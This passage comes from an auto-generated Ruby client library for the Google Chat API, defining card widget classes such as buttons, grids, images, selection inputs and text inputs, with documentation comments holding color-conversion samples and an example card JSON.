# nil) ` alpha = [alpha_wrapper value]; ` return [UIColor colorWithRed:red green:
# green blue:blue alpha:alpha]; ` static Color* toProto(UIColor* color) `
# CGFloat red, green, blue, alpha; if (![color getRed:&red green:&green blue:&
# blue alpha:&alpha]) ` return nil; ` Color* result = [[Color alloc] init]; [
# result setRed:red]; [result setGreen:green]; [result setBlue:blue]; if (alpha <
# = 0.9999) ` [result setAlpha:floatWrapperWithValue(alpha)]; ` [result
# autorelease]; return result; ` // ... Example (JavaScript): // ... var
# protoToCssColor = function(rgb_color) ` var redFrac = rgb_color.red || 0.0;
# var greenFrac = rgb_color.green || 0.0; var blueFrac = rgb_color.blue || 0.0;
# var red = Math.floor(redFrac * 255); var green = Math.floor(greenFrac * 255);
# var blue = Math.floor(blueFrac * 255); if (!('alpha' in rgb_color)) ` return
# rgbToCssColor(red, green, blue); ` var alphaFrac = rgb_color.alpha.value || 0.
# 0; var rgbParams = [red, green, blue].join(','); return ['rgba(', rgbParams, ',
# ', alphaFrac, ')'].join(''); `; var rgbToCssColor = function(red, green, blue)
# ` var rgbNumber = new Number((red << 16) | (green << 8) | blue); var hexString
# = rgbNumber.toString(16); var missingZeros = 6 - hexString.length; var
# resultBuilder = ['#']; for (var i = 0; i < missingZeros; i++) ` resultBuilder.
# push('0'); ` resultBuilder.push(hexString); return resultBuilder.join(''); `; /
# / ...
# Corresponds to the JSON property `strokeColor`
# @return [Google::Apis::ChatV1::Color]
attr_accessor :stroke_color
# The border type.
# Corresponds to the JSON property `type`
# @return [String]
attr_accessor :type
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@corner_radius = args[:corner_radius] if args.key?(:corner_radius)
@stroke_color = args[:stroke_color] if args.key?(:stroke_color)
@type = args[:type] if args.key?(:type)
end
end
# A button. Can be a text button or an image button.
class GoogleAppsCardV1Button
include Google::Apis::Core::Hashable
# The alternative text used for accessibility. Has no effect when an icon is set;
# use `icon.alt_text` instead.
# Corresponds to the JSON property `altText`
# @return [String]
attr_accessor :alt_text
# Represents a color in the RGBA color space. This representation is designed
# for simplicity of conversion to/from color representations in various
# languages over compactness. For example, the fields of this representation can
# be trivially provided to the constructor of `java.awt.Color` in Java; it can
# also be trivially provided to UIColor's `+colorWithRed:green:blue:alpha`
# method in iOS; and, with just a little work, it can be easily formatted into a
# CSS `rgba()` string in JavaScript. This reference page doesn't carry
# information about the absolute color space that should be used to interpret
# the RGB value (e.g. sRGB, Adobe RGB, DCI-P3, BT.2020, etc.). By default,
# applications should assume the sRGB color space. When color equality needs to
# be decided, implementations, unless documented otherwise, treat two colors as
# equal if all their red, green, blue, and alpha values each differ by at most
# 1e-5. Example (Java): import com.google.type.Color; // ... public static java.
# awt.Color fromProto(Color protocolor) ` float alpha = protocolor.hasAlpha() ?
# protocolor.getAlpha().getValue() : 1.0; return new java.awt.Color( protocolor.
# getRed(), protocolor.getGreen(), protocolor.getBlue(), alpha); ` public static
# Color toProto(java.awt.Color color) ` float red = (float) color.getRed();
# float green = (float) color.getGreen(); float blue = (float) color.getBlue();
# float denominator = 255.0; Color.Builder resultBuilder = Color .newBuilder() .
# setRed(red / denominator) .setGreen(green / denominator) .setBlue(blue /
# denominator); int alpha = color.getAlpha(); if (alpha != 255) ` result.
# setAlpha( FloatValue .newBuilder() .setValue(((float) alpha) / denominator) .
# build()); ` return resultBuilder.build(); ` // ... Example (iOS / Obj-C): // ..
# . static UIColor* fromProto(Color* protocolor) ` float red = [protocolor red];
# float green = [protocolor green]; float blue = [protocolor blue]; FloatValue*
# alpha_wrapper = [protocolor alpha]; float alpha = 1.0; if (alpha_wrapper !=
# nil) ` alpha = [alpha_wrapper value]; ` return [UIColor colorWithRed:red green:
# green blue:blue alpha:alpha]; ` static Color* toProto(UIColor* color) `
# CGFloat red, green, blue, alpha; if (![color getRed:&red green:&green blue:&
# blue alpha:&alpha]) ` return nil; ` Color* result = [[Color alloc] init]; [
# result setRed:red]; [result setGreen:green]; [result setBlue:blue]; if (alpha <
# = 0.9999) ` [result setAlpha:floatWrapperWithValue(alpha)]; ` [result
# autorelease]; return result; ` // ... Example (JavaScript): // ... var
# protoToCssColor = function(rgb_color) ` var redFrac = rgb_color.red || 0.0;
# var greenFrac = rgb_color.green || 0.0; var blueFrac = rgb_color.blue || 0.0;
# var red = Math.floor(redFrac * 255); var green = Math.floor(greenFrac * 255);
# var blue = Math.floor(blueFrac * 255); if (!('alpha' in rgb_color)) ` return
# rgbToCssColor(red, green, blue); ` var alphaFrac = rgb_color.alpha.value || 0.
# 0; var rgbParams = [red, green, blue].join(','); return ['rgba(', rgbParams, ',
# ', alphaFrac, ')'].join(''); `; var rgbToCssColor = function(red, green, blue)
# ` var rgbNumber = new Number((red << 16) | (green << 8) | blue); var hexString
# = rgbNumber.toString(16); var missingZeros = 6 - hexString.length; var
# resultBuilder = ['#']; for (var i = 0; i < missingZeros; i++) ` resultBuilder.
# push('0'); ` resultBuilder.push(hexString); return resultBuilder.join(''); `; /
# / ...
# Corresponds to the JSON property `color`
# @return [Google::Apis::ChatV1::Color]
attr_accessor :color
# If true, the button is displayed in a disabled state and doesn't respond to
# user actions.
# Corresponds to the JSON property `disabled`
# @return [Boolean]
attr_accessor :disabled
alias_method :disabled?, :disabled
# The icon image.
# Corresponds to the JSON property `icon`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1Icon]
attr_accessor :icon
# The action to perform when the button is clicked.
# Corresponds to the JSON property `onClick`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1OnClick]
attr_accessor :on_click
# The text of the button.
# Corresponds to the JSON property `text`
# @return [String]
attr_accessor :text
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@alt_text = args[:alt_text] if args.key?(:alt_text)
@color = args[:color] if args.key?(:color)
@disabled = args[:disabled] if args.key?(:disabled)
@icon = args[:icon] if args.key?(:icon)
@on_click = args[:on_click] if args.key?(:on_click)
@text = args[:text] if args.key?(:text)
end
end
# A list of buttons layed out horizontally.
class GoogleAppsCardV1ButtonList
include Google::Apis::Core::Hashable
#
# Corresponds to the JSON property `buttons`
# @return [Array<Google::Apis::ChatV1::GoogleAppsCardV1Button>]
attr_accessor :buttons
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@buttons = args[:buttons] if args.key?(:buttons)
end
end
# A card is a UI element that can contain UI widgets such as text and images.
# For more information, see Cards . For example, the following JSON creates a
# card that has a header with the name, position, icons, and link for a contact,
# followed by a section with contact information like email and phone number. ```
# ` "header": ` "title": "Heba Salam", "subtitle": "Software Engineer", "
# imageStyle": "ImageStyle.AVATAR", "imageUrl": "https://example.com/heba_salam.
# png", "imageAltText": "Avatar for Heba Salam" `, "sections" : [ ` "header": "
# Contact Info", "widgets": [ ` "decorated_text": ` "icon": ` "knownIcon": "
# EMAIL" `, "content": "[email protected]" ` `, ` "decoratedText": ` "icon":
# ` "knownIcon": "PERSON" `, "content": "Online" ` `, ` "decoratedText": ` "
# icon": ` "knownIcon": "PHONE" `, "content": "+1 (555) 555-1234" ` `, ` "
# buttons": [ ` "textButton": ` "text": "Share", `, "onClick": ` "openLink": ` "
# url": "https://example.com/share" ` ` `, ` "textButton": ` "text": "Edit", `, "
# onClick": ` "action": ` "function": "goToView", "parameters": [ ` "key": "
# viewType", "value": "EDIT" ` ], "loadIndicator": "LoadIndicator.SPINNER" ` ` `
# ] ` ], "collapsible": true, "uncollapsibleWidgetsCount": 3 ` ], "cardActions":
# [ ` "actionLabel": "Send Feedback", "onClick": ` "openLink": ` "url": "https://
# example.com/feedback" ` ` ` ], "name": "contact-card-K3wB6arF2H9L" ` ```
class GoogleAppsCardV1Card
include Google::Apis::Core::Hashable
# The actions of this card. They are added to a card's generated toolbar menu.
# For example, the following JSON constructs a card action menu with Settings
# and Send Feedback options: ``` "card_actions": [ ` "actionLabel": "Setting", "
# onClick": ` "action": ` "functionName": "goToView", "parameters": [ ` "key": "
# viewType", "value": "SETTING" ` ], "loadIndicator": "LoadIndicator.SPINNER" ` `
# `, ` "actionLabel": "Send Feedback", "onClick": ` "openLink": ` "url": "https:
# //example.com/feedback" ` ` ` ] ```
# Corresponds to the JSON property `cardActions`
# @return [Array<Google::Apis::ChatV1::GoogleAppsCardV1CardAction>]
attr_accessor :card_actions
# The display style for peekCardHeader.
# Corresponds to the JSON property `displayStyle`
# @return [String]
attr_accessor :display_style
# A persistent (sticky) footer that is added to the bottom of the card.
# Corresponds to the JSON property `fixedFooter`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1CardFixedFooter]
attr_accessor :fixed_footer
# The header of the card. A header usually contains a title and an image.
# Corresponds to the JSON property `header`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1CardHeader]
attr_accessor :header
# Name of the card, which is used as a identifier for the card in card
# navigation.
# Corresponds to the JSON property `name`
# @return [String]
attr_accessor :name
# When displaying contextual content, the peek card header acts as a placeholder
# so that the user can navigate forward between the homepage cards and the
# contextual cards.
# Corresponds to the JSON property `peekCardHeader`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1CardHeader]
attr_accessor :peek_card_header
# Sections are separated by a line divider.
# Corresponds to the JSON property `sections`
# @return [Array<Google::Apis::ChatV1::GoogleAppsCardV1Section>]
attr_accessor :sections
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@card_actions = args[:card_actions] if args.key?(:card_actions)
@display_style = args[:display_style] if args.key?(:display_style)
@fixed_footer = args[:fixed_footer] if args.key?(:fixed_footer)
@header = args[:header] if args.key?(:header)
@name = args[:name] if args.key?(:name)
@peek_card_header = args[:peek_card_header] if args.key?(:peek_card_header)
@sections = args[:sections] if args.key?(:sections)
end
end
# A card action is the action associated with the card. For example, an invoice
# card might include actions such as delete invoice, email invoice, or open the
# invoice in a browser.
class GoogleAppsCardV1CardAction
include Google::Apis::Core::Hashable
# The label that displays as the action menu item.
# Corresponds to the JSON property `actionLabel`
# @return [String]
attr_accessor :action_label
# The onclick action for this action item.
# Corresponds to the JSON property `onClick`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1OnClick]
attr_accessor :on_click
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@action_label = args[:action_label] if args.key?(:action_label)
@on_click = args[:on_click] if args.key?(:on_click)
end
end
# A persistent (sticky) footer that is added to the bottom of the card.
class GoogleAppsCardV1CardFixedFooter
include Google::Apis::Core::Hashable
# A button. Can be a text button or an image button.
# Corresponds to the JSON property `primaryButton`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1Button]
attr_accessor :primary_button
# A button. Can be a text button or an image button.
# Corresponds to the JSON property `secondaryButton`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1Button]
attr_accessor :secondary_button
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@primary_button = args[:primary_button] if args.key?(:primary_button)
@secondary_button = args[:secondary_button] if args.key?(:secondary_button)
end
end
#
class GoogleAppsCardV1CardHeader
include Google::Apis::Core::Hashable
# The alternative text of this image which is used for accessibility.
# Corresponds to the JSON property `imageAltText`
# @return [String]
attr_accessor :image_alt_text
# The image's type.
# Corresponds to the JSON property `imageType`
# @return [String]
attr_accessor :image_type
# The URL of the image in the card header.
# Corresponds to the JSON property `imageUrl`
# @return [String]
attr_accessor :image_url
# The subtitle of the card header.
# Corresponds to the JSON property `subtitle`
# @return [String]
attr_accessor :subtitle
# The title of the card header. The title must be specified. The header has a
# fixed height: if both a title and subtitle are specified, each takes up one
# line. If only the title is specified, it takes up both lines.
# Corresponds to the JSON property `title`
# @return [String]
attr_accessor :title
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@image_alt_text = args[:image_alt_text] if args.key?(:image_alt_text)
@image_type = args[:image_type] if args.key?(:image_type)
@image_url = args[:image_url] if args.key?(:image_url)
@subtitle = args[:subtitle] if args.key?(:subtitle)
@title = args[:title] if args.key?(:title)
end
end
# The widget that lets users to specify a date and time.
class GoogleAppsCardV1DateTimePicker
include Google::Apis::Core::Hashable
# The label for the field that displays to the user.
# Corresponds to the JSON property `label`
# @return [String]
attr_accessor :label
# The name of the text input that's used in formInput, and uniquely identifies
# this input.
# Corresponds to the JSON property `name`
# @return [String]
attr_accessor :name
# An action that describes the behavior when the form is submitted. For example,
# an Apps Script can be invoked to handle the form.
# Corresponds to the JSON property `onChangeAction`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1Action]
attr_accessor :on_change_action
# The number representing the time zone offset from UTC, in minutes. If set, the
# `value_ms_epoch` is displayed in the specified time zone. If not set, it uses
# the user's time zone setting on the client side.
# Corresponds to the JSON property `timezoneOffsetDate`
# @return [Fixnum]
attr_accessor :timezone_offset_date
# The type of the date/time picker.
# Corresponds to the JSON property `type`
# @return [String]
attr_accessor :type
# The value to display as the default value before user input or previous user
# input. It is represented in milliseconds (Epoch time). For `DATE_AND_TIME`
# type, the full epoch value is used. For `DATE_ONLY` type, only date of the
# epoch time is used. For `TIME_ONLY` type, only time of the epoch time is used.
# For example, you can set epoch time to `3 * 60 * 60 * 1000` to represent 3am.
# Corresponds to the JSON property `valueMsEpoch`
# @return [Fixnum]
attr_accessor :value_ms_epoch
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@label = args[:label] if args.key?(:label)
@name = args[:name] if args.key?(:name)
@on_change_action = args[:on_change_action] if args.key?(:on_change_action)
@timezone_offset_date = args[:timezone_offset_date] if args.key?(:timezone_offset_date)
@type = args[:type] if args.key?(:type)
@value_ms_epoch = args[:value_ms_epoch] if args.key?(:value_ms_epoch)
end
end
# A widget that displays text with optional decorations such as a label above or
# below the text, an icon in front of the text, a selection widget or a button
# after the text.
class GoogleAppsCardV1DecoratedText
include Google::Apis::Core::Hashable
# The formatted text label that shows below the main text.
# Corresponds to the JSON property `bottomLabel`
# @return [String]
attr_accessor :bottom_label
# A button. Can be a text button or an image button.
# Corresponds to the JSON property `button`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1Button]
attr_accessor :button
# An icon displayed after the text.
# Corresponds to the JSON property `endIcon`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1Icon]
attr_accessor :end_icon
# Deprecated in favor of start_icon.
# Corresponds to the JSON property `icon`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1Icon]
attr_accessor :icon
# Only the top and bottom label and content region are clickable.
# Corresponds to the JSON property `onClick`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1OnClick]
attr_accessor :on_click
# The icon displayed in front of the text.
# Corresponds to the JSON property `startIcon`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1Icon]
attr_accessor :start_icon
# A switch widget can be clicked to change its state or trigger an action.
# Corresponds to the JSON property `switchControl`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1SwitchControl]
attr_accessor :switch_control
# Required. The main widget formatted text. See Text formatting for details.
# Corresponds to the JSON property `text`
# @return [String]
attr_accessor :text
# The formatted text label that shows above the main text.
# Corresponds to the JSON property `topLabel`
# @return [String]
attr_accessor :top_label
# The wrap text setting. If `true`, the text is wrapped and displayed in
# multiline. Otherwise, the text is truncated.
# Corresponds to the JSON property `wrapText`
# @return [Boolean]
attr_accessor :wrap_text
alias_method :wrap_text?, :wrap_text
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@bottom_label = args[:bottom_label] if args.key?(:bottom_label)
@button = args[:button] if args.key?(:button)
@end_icon = args[:end_icon] if args.key?(:end_icon)
@icon = args[:icon] if args.key?(:icon)
@on_click = args[:on_click] if args.key?(:on_click)
@start_icon = args[:start_icon] if args.key?(:start_icon)
@switch_control = args[:switch_control] if args.key?(:switch_control)
@text = args[:text] if args.key?(:text)
@top_label = args[:top_label] if args.key?(:top_label)
@wrap_text = args[:wrap_text] if args.key?(:wrap_text)
end
end
# A divider that appears in between widgets.
class GoogleAppsCardV1Divider
include Google::Apis::Core::Hashable
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
end
end
# Represents a Grid widget that displays items in a configurable grid layout.
class GoogleAppsCardV1Grid
include Google::Apis::Core::Hashable
# Represents the complete border style applied to widgets.
# Corresponds to the JSON property `borderStyle`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1BorderStyle]
attr_accessor :border_style
# The number of columns to display in the grid. A default value is used if this
# field isn't specified, and that default value is different depending on where
# the grid is shown (dialog versus companion).
# Corresponds to the JSON property `columnCount`
# @return [Fixnum]
attr_accessor :column_count
# The items to display in the grid.
# Corresponds to the JSON property `items`
# @return [Array<Google::Apis::ChatV1::GoogleAppsCardV1GridItem>]
attr_accessor :items
# This callback is reused by each individual grid item, but with the item's
# identifier and index in the items list added to the callback's parameters.
# Corresponds to the JSON property `onClick`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1OnClick]
attr_accessor :on_click
# The text that displays in the grid header.
# Corresponds to the JSON property `title`
# @return [String]
attr_accessor :title
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@border_style = args[:border_style] if args.key?(:border_style)
@column_count = args[:column_count] if args.key?(:column_count)
@items = args[:items] if args.key?(:items)
@on_click = args[:on_click] if args.key?(:on_click)
@title = args[:title] if args.key?(:title)
end
end
# Represents a single item in the grid layout.
class GoogleAppsCardV1GridItem
include Google::Apis::Core::Hashable
# A user-specified identifier for this grid item. This identifier is returned in
# the parent Grid's onClick callback parameters.
# Corresponds to the JSON property `id`
# @return [String]
attr_accessor :id
# The image that displays in the grid item.
# Corresponds to the JSON property `image`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1ImageComponent]
attr_accessor :image
# The layout to use for the grid item.
# Corresponds to the JSON property `layout`
# @return [String]
attr_accessor :layout
# The grid item's subtitle.
# Corresponds to the JSON property `subtitle`
# @return [String]
attr_accessor :subtitle
# The horizontal alignment of the grid item's text.
# Corresponds to the JSON property `textAlignment`
# @return [String]
attr_accessor :text_alignment
# The grid item's title.
# Corresponds to the JSON property `title`
# @return [String]
attr_accessor :title
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@id = args[:id] if args.key?(:id)
@image = args[:image] if args.key?(:image)
@layout = args[:layout] if args.key?(:layout)
@subtitle = args[:subtitle] if args.key?(:subtitle)
@text_alignment = args[:text_alignment] if args.key?(:text_alignment)
@title = args[:title] if args.key?(:title)
end
end
#
class GoogleAppsCardV1Icon
include Google::Apis::Core::Hashable
# The description of the icon, used for accessibility. The default value is
# provided if you don't specify one.
# Corresponds to the JSON property `altText`
# @return [String]
attr_accessor :alt_text
# The icon specified by a URL.
# Corresponds to the JSON property `iconUrl`
# @return [String]
attr_accessor :icon_url
# The crop style applied to the image. In some cases, applying a `CIRCLE` crop
# causes the image to be drawn larger than a standard icon.
# Corresponds to the JSON property `imageType`
# @return [String]
attr_accessor :image_type
# The icon specified by the string name of a list of known icons
# Corresponds to the JSON property `knownIcon`
# @return [String]
attr_accessor :known_icon
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@alt_text = args[:alt_text] if args.key?(:alt_text)
@icon_url = args[:icon_url] if args.key?(:icon_url)
@image_type = args[:image_type] if args.key?(:image_type)
@known_icon = args[:known_icon] if args.key?(:known_icon)
end
end
# An image that is specified by a URL and can have an onClick action.
class GoogleAppsCardV1Image
include Google::Apis::Core::Hashable
# The alternative text of this image, used for accessibility.
# Corresponds to the JSON property `altText`
# @return [String]
attr_accessor :alt_text
# An image URL.
# Corresponds to the JSON property `imageUrl`
# @return [String]
attr_accessor :image_url
#
# Corresponds to the JSON property `onClick`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1OnClick]
attr_accessor :on_click
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@alt_text = args[:alt_text] if args.key?(:alt_text)
@image_url = args[:image_url] if args.key?(:image_url)
@on_click = args[:on_click] if args.key?(:on_click)
end
end
#
class GoogleAppsCardV1ImageComponent
include Google::Apis::Core::Hashable
# The accessibility label for the image.
# Corresponds to the JSON property `altText`
# @return [String]
attr_accessor :alt_text
# Represents the complete border style applied to widgets.
# Corresponds to the JSON property `borderStyle`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1BorderStyle]
attr_accessor :border_style
# Represents the crop style applied to an image.
# Corresponds to the JSON property `cropStyle`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1ImageCropStyle]
attr_accessor :crop_style
# The image URL.
# Corresponds to the JSON property `imageUri`
# @return [String]
attr_accessor :image_uri
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@alt_text = args[:alt_text] if args.key?(:alt_text)
@border_style = args[:border_style] if args.key?(:border_style)
@crop_style = args[:crop_style] if args.key?(:crop_style)
@image_uri = args[:image_uri] if args.key?(:image_uri)
end
end
# Represents the crop style applied to an image.
class GoogleAppsCardV1ImageCropStyle
include Google::Apis::Core::Hashable
# The aspect ratio to use if the crop type is `RECTANGLE_CUSTOM`.
# Corresponds to the JSON property `aspectRatio`
# @return [Float]
attr_accessor :aspect_ratio
# The crop type.
# Corresponds to the JSON property `type`
# @return [String]
attr_accessor :type
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@aspect_ratio = args[:aspect_ratio] if args.key?(:aspect_ratio)
@type = args[:type] if args.key?(:type)
end
end
#
class GoogleAppsCardV1OnClick
include Google::Apis::Core::Hashable
# An action that describes the behavior when the form is submitted. For example,
# an Apps Script can be invoked to handle the form.
# Corresponds to the JSON property `action`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1Action]
attr_accessor :action
# A card is a UI element that can contain UI widgets such as text and images.
# For more information, see Cards . For example, the following JSON creates a
# card that has a header with the name, position, icons, and link for a contact,
# followed by a section with contact information like email and phone number. ```
# ` "header": ` "title": "Heba Salam", "subtitle": "Software Engineer", "
# imageStyle": "ImageStyle.AVATAR", "imageUrl": "https://example.com/heba_salam.
# png", "imageAltText": "Avatar for Heba Salam" `, "sections" : [ ` "header": "
# Contact Info", "widgets": [ ` "decorated_text": ` "icon": ` "knownIcon": "
# EMAIL" `, "content": "[email protected]" ` `, ` "decoratedText": ` "icon":
# ` "knownIcon": "PERSON" `, "content": "Online" ` `, ` "decoratedText": ` "
# icon": ` "knownIcon": "PHONE" `, "content": "+1 (555) 555-1234" ` `, ` "
# buttons": [ ` "textButton": ` "text": "Share", `, "onClick": ` "openLink": ` "
# url": "https://example.com/share" ` ` `, ` "textButton": ` "text": "Edit", `, "
# onClick": ` "action": ` "function": "goToView", "parameters": [ ` "key": "
# viewType", "value": "EDIT" ` ], "loadIndicator": "LoadIndicator.SPINNER" ` ` `
# ] ` ], "collapsible": true, "uncollapsibleWidgetsCount": 3 ` ], "cardActions":
# [ ` "actionLabel": "Send Feedback", "onClick": ` "openLink": ` "url": "https://
# example.com/feedback" ` ` ` ], "name": "contact-card-K3wB6arF2H9L" ` ```
# Corresponds to the JSON property `card`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1Card]
attr_accessor :card
# An action that describes the behavior when the form is submitted. For example,
# an Apps Script can be invoked to handle the form.
# Corresponds to the JSON property `openDynamicLinkAction`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1Action]
attr_accessor :open_dynamic_link_action
# If specified, this onClick triggers an open link action.
# Corresponds to the JSON property `openLink`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1OpenLink]
attr_accessor :open_link
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@action = args[:action] if args.key?(:action)
@card = args[:card] if args.key?(:card)
@open_dynamic_link_action = args[:open_dynamic_link_action] if args.key?(:open_dynamic_link_action)
@open_link = args[:open_link] if args.key?(:open_link)
end
end
#
class GoogleAppsCardV1OpenLink
include Google::Apis::Core::Hashable
#
# Corresponds to the JSON property `onClose`
# @return [String]
attr_accessor :on_close
#
# Corresponds to the JSON property `openAs`
# @return [String]
attr_accessor :open_as
# The URL to open.
# Corresponds to the JSON property `url`
# @return [String]
attr_accessor :url
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@on_close = args[:on_close] if args.key?(:on_close)
@open_as = args[:open_as] if args.key?(:open_as)
@url = args[:url] if args.key?(:url)
end
end
# A section contains a collection of widgets that are rendered vertically in the
# order that they are specified. Across all platforms, cards have a narrow fixed
# width, so there is currently no need for layout properties, for example, float.
class GoogleAppsCardV1Section
include Google::Apis::Core::Hashable
# Indicates whether this section is collapsible. If a section is collapsible,
# the description must be given.
# Corresponds to the JSON property `collapsible`
# @return [Boolean]
attr_accessor :collapsible
alias_method :collapsible?, :collapsible
# The header of the section. Formatted text is supported.
# Corresponds to the JSON property `header`
# @return [String]
attr_accessor :header
# The number of uncollapsible widgets. For example, when a section contains five
# widgets and the `numUncollapsibleWidget` is set to `2`, the first two widgets
# are always shown and the last three are collapsed as default. The `
# numUncollapsibleWidget` is taken into account only when collapsible is set to `
# true`.
# Corresponds to the JSON property `uncollapsibleWidgetsCount`
# @return [Fixnum]
attr_accessor :uncollapsible_widgets_count
# A section must contain at least 1 widget.
# Corresponds to the JSON property `widgets`
# @return [Array<Google::Apis::ChatV1::GoogleAppsCardV1Widget>]
attr_accessor :widgets
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@collapsible = args[:collapsible] if args.key?(:collapsible)
@header = args[:header] if args.key?(:header)
@uncollapsible_widgets_count = args[:uncollapsible_widgets_count] if args.key?(:uncollapsible_widgets_count)
@widgets = args[:widgets] if args.key?(:widgets)
end
end
# A widget that creates a UI item (for example, a drop-down list) with options
# for users to select.
class GoogleAppsCardV1SelectionInput
include Google::Apis::Core::Hashable
#
# Corresponds to the JSON property `items`
# @return [Array<Google::Apis::ChatV1::GoogleAppsCardV1SelectionItem>]
attr_accessor :items
# The label displayed ahead of the switch control.
# Corresponds to the JSON property `label`
# @return [String]
attr_accessor :label
# The name of the text input which is used in formInput.
# Corresponds to the JSON property `name`
# @return [String]
attr_accessor :name
# An action that describes the behavior when the form is submitted. For example,
# an Apps Script can be invoked to handle the form.
# Corresponds to the JSON property `onChangeAction`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1Action]
attr_accessor :on_change_action
#
# Corresponds to the JSON property `type`
# @return [String]
attr_accessor :type
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@items = args[:items] if args.key?(:items)
@label = args[:label] if args.key?(:label)
@name = args[:name] if args.key?(:name)
@on_change_action = args[:on_change_action] if args.key?(:on_change_action)
@type = args[:type] if args.key?(:type)
end
end
# The item in the switch control. A radio button, at most one of the items is
# selected.
class GoogleAppsCardV1SelectionItem
include Google::Apis::Core::Hashable
# If more than one item is selected for `RADIO_BUTTON` and `DROPDOWN`, the first
# selected item is treated as selected and the ones after are ignored.
# Corresponds to the JSON property `selected`
# @return [Boolean]
attr_accessor :selected
alias_method :selected?, :selected
# The text to be displayed.
# Corresponds to the JSON property `text`
# @return [String]
attr_accessor :text
# The value associated with this item. The client should use this as a form
# input value.
# Corresponds to the JSON property `value`
# @return [String]
attr_accessor :value
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@selected = args[:selected] if args.key?(:selected)
@text = args[:text] if args.key?(:text)
@value = args[:value] if args.key?(:value)
end
end
# A suggestion item. Only supports text for now.
class GoogleAppsCardV1SuggestionItem
include Google::Apis::Core::Hashable
#
# Corresponds to the JSON property `text`
# @return [String]
attr_accessor :text
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@text = args[:text] if args.key?(:text)
end
end
# A container wrapping elements necessary for showing suggestion items used in
# text input autocomplete.
class GoogleAppsCardV1Suggestions
include Google::Apis::Core::Hashable
# A list of suggestions items which will be used in are used in autocomplete.
# Corresponds to the JSON property `items`
# @return [Array<Google::Apis::ChatV1::GoogleAppsCardV1SuggestionItem>]
attr_accessor :items
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@items = args[:items] if args.key?(:items)
end
end
#
class GoogleAppsCardV1SwitchControl
include Google::Apis::Core::Hashable
# The control type, either switch or checkbox.
# Corresponds to the JSON property `controlType`
# @return [String]
attr_accessor :control_type
# The name of the switch widget that's used in formInput.
# Corresponds to the JSON property `name`
# @return [String]
attr_accessor :name
# An action that describes the behavior when the form is submitted. For example,
# an Apps Script can be invoked to handle the form.
# Corresponds to the JSON property `onChangeAction`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1Action]
attr_accessor :on_change_action
# If the switch is selected.
# Corresponds to the JSON property `selected`
# @return [Boolean]
attr_accessor :selected
alias_method :selected?, :selected
# The value is what is passed back in the callback.
# Corresponds to the JSON property `value`
# @return [String]
attr_accessor :value
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@control_type = args[:control_type] if args.key?(:control_type)
@name = args[:name] if args.key?(:name)
@on_change_action = args[:on_change_action] if args.key?(:on_change_action)
@selected = args[:selected] if args.key?(:selected)
@value = args[:value] if args.key?(:value)
end
end
# A text input is a UI item where users can input text. A text input can also
# have an onChange action and suggestions.
class GoogleAppsCardV1TextInput
include Google::Apis::Core::Hashable
# An action that describes the behavior when the form is submitted. For example,
# an Apps Script can be invoked to handle the form.
# Corresponds to the JSON property `autoCompleteAction`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1Action]
attr_accessor :auto_complete_action
# The hint text.
# Corresponds to the JSON property `hintText`
# @return [String]
attr_accessor :hint_text
# A container wrapping elements necessary for showing suggestion items used in
# text input autocomplete.
# Corresponds to the JSON property `initialSuggestions`
# @return [Google::Apis::ChatV1::GoogleAppsCardV1Suggestions]
attr_accessor :initial_suggestions
# At least one of label and hintText must be specified.
# Corresponds to the JSON property `label`
# @return [String]
attr_accessor :label
# The name of the text input which is used in formInput.
# Corresponds to the JSON property `name`
# @return [String]
attr_accessor :name
# An action that describes the behavior when the form is submitted. For example,
# an Apps Script can be invoked to handle the form.
